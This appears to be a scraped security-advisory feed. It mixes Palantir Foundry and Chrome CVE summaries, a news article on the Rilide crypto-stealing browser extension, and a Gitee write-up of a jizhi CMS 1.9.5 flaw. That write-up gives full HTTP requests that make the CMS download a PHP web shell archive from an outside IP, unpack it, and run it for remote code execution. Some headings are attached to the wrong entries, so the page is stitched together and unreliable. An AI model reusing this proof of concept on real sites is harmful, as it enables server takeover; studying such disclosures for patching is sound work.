The foundry campaigns service was found to be vulnerable to an unauthenticated information disclosure in a rest endpoint

CVE-2023-30950: Palantir | Trust and Security Portal

A security defect was discovered in Foundry Issues that enabled users to create convincing phishing links by editing the request sent when creating an Issue. This defect was resolved in Frontend release 6.228.0 .

CVE-2023-30952: Palantir | Trust and Security Portal

A security defect was identified in Foundry Frontend that enabled users to potentially conduct DOM XSS attacks if Foundry's CSP were to be bypassed.

This defect was resolved with the release of Foundry Frontend 6.225.0.



CVE-2023-30958: Palantir | Trust and Security Portal

An arbitrary file download vulnerability in the /c/PluginsController.php component of jizhi CMS 1.9.5 allows attackers to execute arbitrary code via downloading a crafted plugin.

  
Vulnerability lies in http://127.0.0.1/admin.php/Index/index.html  
Extension management at, download location for plugin list  
  
Click on any plugin of the cloud plugin to download  
Burp Suite Packet capture  
  
Can test parameters download\_url  
  
VPS enables HTTP service  
  
Zip compress phpshell.php and upload to VPS  
  
  
  
Successfully caused any file download  
POC:  
POST /admin.php/Plugins/update.html HTTP/1.1  
Host: 127.0.0.1  
Content-Length: 86  
Accept: application/json, text/javascript, _/_; q=0.01  
X-Requested-With: XMLHttpRequest  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_15\_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
Origin: http://127.0.0.1  
Referer: http://127.0.0.1/admin.php/Plugins/index.html  
Accept-Encoding: gzip, deflate  
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8  
Cookie: PHPSESSID=32db2410f5d69bf21ba9b21ab8093a09  
Connection: close

action=start-download&filepath=jzdesign&download\_url=http://119.91.26.244:8090/phpshell.zip

Vulnerability source code analysis:  
Global search for start-download to determine the location of file vulnerabilities  
The vulnerability is located in /A/c/PluginsController.php  
  
  
Line 739 starts with a case statement, followed by an fwrite write operation  
  
Located on line 718, its controllable point is $download\_ url, the path for writing has been provided on line 721, so why can I download any file? The cause of the vulnerability lies in  
  
Starting from line 883, it is the default file download URL, but causing a change after the controllable $download\_url on line 891, resulting in the vulnerability function being curl\_ exec, due to a vulnerability in the curl resource request code, it is possible to arbitrarily request external resources and cause arbitrary file downloads

The function point that can be decompressed is located in the case statement 'file-upzip' on line 776  
  
It will determine whether the file exists. If it exists, it will be saved in A/exts/, and the function will be called get\_zip\_orginalsize to start decompression work  
  
While loop to extract each file  
  
Successfully decompressed  
POC:  
POST /admin.php/Plugins/update.html HTTP/1.1  
Host: 127.0.0.1  
Content-Length: 32  
Accept: application/json, text/javascript, _/_; q=0.01  
X-Requested-With: XMLHttpRequest  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_15\_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
Origin: http://127.0.0.1  
Referer: http://127.0.0.1/admin.php/Plugins/index.html  
Accept-Encoding: gzip, deflate  
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8  
Cookie: PHPSESSID=32db2410f5d69bf21ba9b21ab8093a09  
Connection: close

action=file-upzip&filepath=jzdesign

Access path is http://127.0.0.1/A/exts/phpshell.php  
  
Successfully executing command causing RCE

CVE-2023-38948: jizhi CMS 1.9.5 has a Arbitrary File Download RCE  vulnerability via /A/c/PluginsController.php · Issue #I7LI4E · Pwn师傅/Pwn - Gitee.com

Cybersecurity researchers have discovered a new version of malware called Rilide that targets Chromium-based web browsers to steal sensitive data and steal cryptocurrency.
"It exhibits a higher level of sophistication through modular design, code obfuscation, adoption to the Chrome Extension Manifest V3, and additional features such as the ability to exfiltrate stolen data to a Telegram channel

Browser Security / Malware

Cybersecurity researchers have discovered a new version of malware called **Rilide** that targets Chromium-based web browsers to steal sensitive data and steal cryptocurrency.

"It exhibits a higher level of sophistication through modular design, code obfuscation, adoption to the Chrome Extension Manifest V3, and additional features such as the ability to exfiltrate stolen data to a Telegram channel or interval-based screenshot captures," Trustwave security researcher Pawel Knapczyk said in a report shared with The Hacker News.

Rilide was first documented by the cybersecurity company in April 2023, uncovering two different attack chains that made use of Ekipa RAT and Aurora Stealer to deploy rogue browser extensions capable of data and crypto theft. It's sold on dark web forums by an actor named "friezer" for $5,000.

The malware is equipped with a wide range of features that allow it to disable other browser add-ons, harvest browsing history and cookies, collect login credentials, take screenshots, and inject malicious scripts to withdraw funds from various cryptocurrency exchanges.

The updated version also overlaps with malware tracked by Trellix under the name CookieGenesis, with the extension now making use of Chrome Extension Manifest V3, a controversial application programming interface (API) change introduced by Google that aims to curtail broad access given to extensions.

"With security in mind, one of the new major improvements is that extensions can't load remote JavaScript code and execute arbitrary strings," Knapczyk explained. "Specifically, all logic must be included in the extension package thus allowing the more reliable and effective review process for the extensions submitted to the Chrome Web Store."

This has led to a complete refactor of Rilide's core capabilities, Trustwave said, adding the malware relies on the use of inline events to execute malicious JavaScript code.

Two Rilide artifacts detected in the wild have been found to impersonate Palo Alto Networks' GlobalProtect app to deceive unsuspecting users into installing the malware as part of three different campaigns. One set of attacks are designed to singled out users in Australia and the U.K.

It's suspected that the threat actors use bogus landing pages hosting legitimate AnyDesk remote desktop software and employ vishing tactics to guide potential targets to install the application, and subsequently leverage the remote access to deploy the malware.

Another significant update to the modus operandi involves the use of a PowerShell loader to modify the browser's Secure Preferences file – which keeps the state of a user's personal browsing experience – to launch the application with the extension loaded permanently.

A further analysis of the command-and-control (C2) domain based on the registrant information shows a connection to a larger pool of websites, many of which have been observed serving malware such as Bumblebee, IcedID, and Phorpiex.

It's worth noting that source code of the Rilide extension was leaked in February 2023, raising the possibility that threat actors other than the original author might have picked up the development efforts.

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New Version of Rilide Data Theft Malware Adapts to Chrome Extension Manifest V3

Inappropriate implementation in Extensions in Google Chrome prior to 115.0.5790.170 allowed an attacker who convinced a user to install a malicious extension to inject scripts or HTML into a privileged page via a crafted Chrome Extension. (Chromium security severity: Medium)

CVE-2023-4078: Stable Channel Update for Desktop

Use after free in Cast in Google Chrome prior to 115.0.5790.170 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)

CVE-2023-4075

Use after free in Blink Task Scheduling in Google Chrome prior to 115.0.5790.170 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)

CVE-2023-4074

Type Confusion in V8 in Google Chrome prior to 115.0.5790.170 allowed a remote attacker to perform arbitrary read/write via a crafted HTML page. (Chromium security severity: High)

CVE-2023-4070

Type Confusion in V8 in Google Chrome prior to 115.0.5790.170 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)

Tag

#chrome